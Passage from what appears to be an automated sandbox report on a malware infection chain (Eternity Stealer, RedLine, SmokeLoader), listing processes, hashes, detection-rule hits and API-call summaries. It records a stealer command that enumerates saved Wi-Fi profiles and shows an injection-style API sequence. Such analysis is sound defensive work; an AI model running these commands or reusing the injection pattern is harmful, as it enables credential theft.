Yara matches:	Rule: JoeSecurity_EternityStealer, Description: Yara detected Eternity Stealer, Source: 0000001E.00000000.2271500419.0000000000D32000.00000002.00000001.01000000.00000011.sdmp, Author: Joe Security Rule: JoeSecurity_EternityStealer, Description: Yara detected Eternity Stealer, Source: C:\Users\user\AppData\Local\Temp\E35F.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\E35F.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: C:\Users\user\AppData\Local\Temp\E35F.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	false

Show Windows behavior

Target ID:	31
Start time:	05:29:57
Start date:	07/01/2024
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	1'899'520 bytes
MD5 hash:	AA053CF4ED948FEC79703DEBBB45FBBF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001F.00000002.2469988089.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs Detection: 51%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	05:29:58
Start date:	07/01/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	05:29:59
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\2DF.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2DF.exe
Imagebase:	0xe0000
File size:	419'840 bytes
MD5 hash:	47FF6687383E2C84A0DDF860E8DB33EB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	05:30:02
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Roaming\ufhjbuw
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ufhjbuw
Imagebase:	0x400000
File size:	308'224 bytes
MD5 hash:	1B92D73AC6CA807ADC303C424EEEB80B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000022.00000002.2579381005.0000000000730000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000022.00000002.2578412540.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	05:30:06
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\5390.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5390.exe
Imagebase:	0x400000
File size:	308'736 bytes
MD5 hash:	0E219D95AC454729366F376B54D9CFB4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000023.00000002.2438435687.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000023.00000003.2383099821.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000023.00000002.2438711950.000000000063D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 41%, ReversingLabs Detection: 46%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	05:30:10
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 5968 -ip 5968
Imagebase:	0x840000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	05:30:10
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5968 -s 500
Imagebase:	0x840000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	05:30:15
Start date:	07/01/2024
Path:	C:\ProgramData\Drivers\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Drivers\csrss.exe"
Imagebase:	0x400000
File size:	1'899'520 bytes
MD5 hash:	AA053CF4ED948FEC79703DEBBB45FBBF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	05:30:25
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\1600.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\1600.exe
Imagebase:	0x400000
File size:	4'707'351 bytes
MD5 hash:	AC1F652F56A5D8DA834680A729BB08C7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 11%, ReversingLabs Detection: 12%, Virustotal, Browse
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	05:30:26
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-K8FH3.tmp\1600.tmp" /SL5="$D029C,4455529,54272,C:\Users\user\AppData\Local\Temp\1600.exe"
Imagebase:	0x400000
File size:	704'512 bytes
MD5 hash:	A7662827ECAEB4FC68334F6B8791B917
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	05:30:26
Start date:	07/01/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	XXX
Imagebase:	0xfb0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_EternityStealer, Description: Yara detected Eternity Stealer, Source: 0000002A.00000002.2767631716.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_EternityStealer, Description: Yara detected Eternity Stealer, Source: 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	05:30:28
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\1600.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1600.exe" /SPAWNWND=$B02AC /NOTIFYWND=$D029C
Imagebase:	0x400000
File size:	4'707'351 bytes
MD5 hash:	AC1F652F56A5D8DA834680A729BB08C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	05:30:28
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	05:30:29
Start date:	07/01/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	05:30:30
Start date:	07/01/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0x1e0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	05:30:30
Start date:	07/01/2024
Path:	C:\Users\user\AppData\Local\Temp\FD8E.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FD8E.exe
Imagebase:	0x3e0000
File size:	6'775'808 bytes
MD5 hash:	9DC46160B805B73634F4BD8507F11494
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: MALWARE_Win_DLInjector04, Description: Detects downloader / injector, Source: C:\Users\user\AppData\Local\Temp\FD8E.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 96%, ReversingLabs
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.7%
Dynamic/Decrypted Code Coverage:	27.3%
Signature Coverage:	35.4%
Total number of Nodes:	99
Total number of Limit Nodes:	5

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000000.00000002.1707386702.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_987123.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Uniqueness

Uniqueness Score: -1.00%

Function 0081019D Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008101C5
Module32First.KERNEL32(00000000,00000224), ref: 008101E5

Memory Dump Source

Source File: 00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0080D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80d000_987123.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 6d599cebee2d778eea91c7775e2ee5cbcd1402da7bf2e06810efc3bbdf33031f
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: F1F06D322007157BD7203AF9AC8DBAA76ECFF49764F100528EA46E14C0DBB4EC858A61

Uniqueness

Uniqueness Score: -1.00%

Function 0042628B Relevance: 21.3, APIs: 1, Strings: 11, Instructions: 264
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000040,?,0BB7EA7B,?,?,52860AB1,?,?,34026A25), ref: 004269FD

Strings

v;^:, xrefs: 0042665B
U99x, xrefs: 004263D2
)?u, xrefs: 004268A5
X2R, xrefs: 0042647C
R'._, xrefs: 0042660E
:/X, xrefs: 00426562
O8##, xrefs: 004264D4
dFfX, xrefs: 0042654E
6, xrefs: 004263E3
o:?, xrefs: 00426842
F(+, xrefs: 00426341

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: ProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
API String ID: 544645111-975362989
Opcode ID: 35d728c95aa6d0a75f2c7cf45eec9f2d0d017f28882eafd102482a2d68368c15
Instruction ID: d72fbdaad144419308e756cdf284ac6d7789ac6a6b4f3aee9be819b8f8910974
Opcode Fuzzy Hash: 35d728c95aa6d0a75f2c7cf45eec9f2d0d017f28882eafd102482a2d68368c15
Instruction Fuzzy Hash: 4702EAB480536CDBDB20CF86EA857CCBBB0BB11704F6186D8D9196B214D7724A85CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0072003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0072024D

Strings

kernel32.dll, xrefs: 0072008F, 00720095
cess, xrefs: 0072018D

Memory Dump Source

Source File: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_987123.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: b8812dad7fe1ca0bb043ed187b53687dad4eb9db5f569f0ec4c3fa07ccda18af
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 97527A74A00229DFDB64CF58D984BA8BBB1BF09304F1480D9E50DAB352DB34AE94DF64

Uniqueness

Uniqueness Score: -1.00%

Function 00426F5C Relevance: 6.1, APIs: 4, Instructions: 59
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetConsoleOutputCP.KERNEL32(00000000), ref: 00426F79
SetFileAttributesW.KERNEL32(0042A988,00000000), ref: 00426F9B
OpenWaitableTimerA.KERNEL32(00000000,00000000,0042A9B0), ref: 00426FA8
WriteConsoleOutputA.KERNEL32(00000000,?,?,?,?), ref: 00426FF9

Memory Dump Source

Source File: 00000000.00000002.1707428338.000000000040B000.00000020.00000001.01000000.00000003.sdmp, Offset: 0040B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_40b000_987123.jbxd

Similarity

API ID: ConsoleOutput$AttributesFileOpenTimerWaitableWrite
String ID:
API String ID: 1436354611-0
Opcode ID: 62ed26e15b5a49391d8a23dc0cda7980fbfb03aaa03a303bc663d0258708f716
Instruction ID: 644fc488f5917a07c12c4052361495bd25380895930b253282537b45d16775f0
Opcode Fuzzy Hash: 62ed26e15b5a49391d8a23dc0cda7980fbfb03aaa03a303bc663d0258708f716
Instruction Fuzzy Hash: 5811E231A01225BFCF129BA9FD4599F7778FB01324B53553AE100A2160D7784A4ACF6D

Uniqueness

Uniqueness Score: -1.00%

Function 00720E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00720223,?,?), ref: 00720E19
SetErrorMode.KERNELBASE(00000000,?,?,00720223,?,?), ref: 00720E1E

Memory Dump Source

Source File: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_987123.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: cfa6968bfae5348f77af3aa7adfeb525760b97280b12a26551987611985b10e1
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: BFD0123154512877D7003AA4DC09BCD7B1CDF05B62F008411FB0DD9081C774994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00426A16 Relevance: 1.5, APIs: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

